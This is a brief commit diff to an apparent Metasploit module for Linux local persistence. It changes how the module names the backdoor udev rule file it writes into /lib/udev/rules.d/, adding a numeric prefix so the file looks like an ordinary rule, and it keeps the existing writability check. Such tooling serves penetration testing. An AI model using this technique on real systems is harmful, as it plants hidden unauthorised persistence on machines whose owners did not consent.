Adds different approach to udev rule naming

Author: msutovsky-r7

modules/exploits/linux/local/udev_persistence.rb

@@ -60,7 +60,7 @@ def get_command
   def exploit
     @payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
 
-    @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
+    @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
 
     unless writable? File.dirname(@backdoor_path)
       fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"